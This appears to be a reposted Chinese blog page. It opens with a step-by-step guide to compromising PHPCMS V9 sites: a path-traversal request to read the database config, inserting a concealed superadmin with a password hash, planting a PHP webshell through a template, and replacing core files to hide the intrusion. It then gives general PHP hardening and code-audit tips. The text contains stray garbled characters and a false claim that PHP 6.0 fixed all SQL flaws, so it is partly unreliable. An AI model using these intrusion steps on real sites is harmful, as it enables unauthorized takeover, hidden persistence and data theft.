
1、放置data.txt以备在目标站点读取并在目标站点生成PHP木马脚本使用。
例如将data.txt放置在yun.baidu.com/j0192/data.txt
2、通过v9漏洞获取配置信息(请参阅:phpcms V9最新读取站点任意文件漏洞)纯侍。
/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php
3、通过v9系统漏洞获取到的数据库信息远程登陆目标站点数据库,在v9_admin和v9_sso_admin表中添加账号
username字段:admn
password字段:10203d4623c1957d041818196ff9822a
encrypt 字段:bGV22e
issuper 字段: 1
4、通过数据库添加管理员账号后使用以下用户名密码在后台登陆,然后修改当前用户密码。
用户名:admn
密码:123456
5、ctrl+a复做山吵制write.php全部内容粘贴进v9默认模版下的footer.html保存,然后点击footer.html的可视化运行该模版中的脚本,到此时就完成在目标站点生成木马脚本。
6、打开ifeng.com/caches/caches_template/default/wap/data.class.php
用户名:admin
密码:admin
7、隐藏新增加的管理员。
通过木马脚本上传替换/phpcms/modules/admin/admin_manage.php(默认匹配%admn%),然后登陆目标站点后台查看管理员列表是否还有用户名为admn的超级管理员,如果没有则表明我们完成了新加管理员的隐藏。
8、隐藏新增加的关联链接
通过木马脚本上传替换/phpcms/modules/admin/keylink.php((默认匹配%skyhome%))
9、将目标网站的漏洞修复,以防其他黑客入侵。
通过木马脚本上传替换/phpcms/modules/search/index.php
防黑参考:
1、关闭数据库远程访问。
2、静态文件及附件等文件目录禁止执行权限。
3、脚本文件目录禁止写权限。
4、系统唯顷后台等重要目录限制IP访问。
5、及时关注开源系统官方补丁升级和乌云、sebug等漏洞发布平台,修复系统漏洞。
PHP的安全性现在是越来越好了PHP6。0版本旦仔带都把存在的SQL漏洞都解决了但是为了安全起模芦见还是应该做安全检测
检测方法:SQL 注入法 、脚本代码、参数传递戚备等方法 具体情况参看PHP官方网站 安全篇章
1.xss + sql注入其中占大头的自然是XSS与SQL注入,对于框架类型或者有公共文件的,建议在公共文件中统一做一次XSS和SQL注入的过滤。写个过滤函数,可由如下所示:
$_REQUEST = filter_xss($_REQUEST);
$_GET = filter_xss($_GET);
$_POST = filter_xss($_POST);
$_COOKIE = filter_xss($_COOKIE);
$_POST = filter_sql($_POST);
$_GET = filter_sql($_GET);
$_COOKIE = filter_sql($_COOKIE);
$_REQUEST = filter_sql($_REQUEST);
这里有搏卜一点需要说明,$_REQUEST虽然等于$_GET+$_POST,但他们是独立的数组,也就是说假设改变了$_GET的值,但$_REQUEST的值还是原来的值,所以过滤时都不能落下,至于其他的如$_FILE之类的就可忽略了。
最基埋穗简单的filter_xss函数是htmlspecialchars()
最简单的filter_sql函数是mysql_real_escape_string()
当然,谁都知道这种过滤filter_sql只能过滤字符型和搜索型的注入,对于数字型是没有办法的,但也说明做了这层过滤后,只需在后面注意数字型的SQL语句就可以了,遇到了加intval过滤就可以了,这就变得容易多了。
2. 命令执行
对于命令执行,可以从关键字入手,总共可分为3类
(1) php代码执行液轮 :eval等
(2)shell命令执行:exec、passthru、system、shell_exec等
(3) 文件处理:fwrite、fopen、mkdir等
对于这几类需要注意其参数是否用户可控。
3.上传漏洞
对于上传漏洞,也是重点关注的地方,要仔细分析它的处理流程,针对上传的绕过方式是很多的,最保险的方式:在保存文件是采用文件名随机命名和后缀白名单方式。其次要注意的一点是上传文件的地方可能不止一处,不要有遗漏,可能会碰到这样的情况,突然在某个目录里面包含了一个第三方的编辑器在里面。
文件包含漏洞涉及的函数如include() 、include_once()、require()、require_once()、file_get_contents()等
最常见的还是出在下载文件功能函数,例如download.php?file=///etc/passwd 这种类型中。
4. 权限绕过
权限绕过可分为两类吧
(1)后台文件的未授权访问。后台的文件没有包含对session的验证,就容易出现这样的问题
(2)未作用户隔离,例如mail.php?id=23显示了你的信件,那么换个ID, mail.php?id=24就查看到了别人的信件,编写代码是方便,把信件都存在一个数据表里,id统一编号,前端展现时只需按id取出即可,但未作用户隔离,判定归属,容易造成越权访问。
这样的例子是很常见的,给某银行做评估是就经常发现这种漏洞。
5. 信息泄露
信息泄露算是比较低危的漏洞了,比如列目录这种就属于部署问题,而与代码审计无关了,而像暴路径、暴源码这种是需要防止的。曾经遇到这样的代码
<?php if(empty($_GET['a'])) {…} ?>
表面上似乎没问题,可是当请求变为 xx.php?a[]=1时,即参数变为数组的时候,就会发生错误以致路径泄露,而用isset判断则不会,当然一个个防太麻烦,建议在配置文件中关闭错误提示,或者在公共文件中加入如下代码以关闭错误显示功能:
<?php error_reporting(0);?>
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)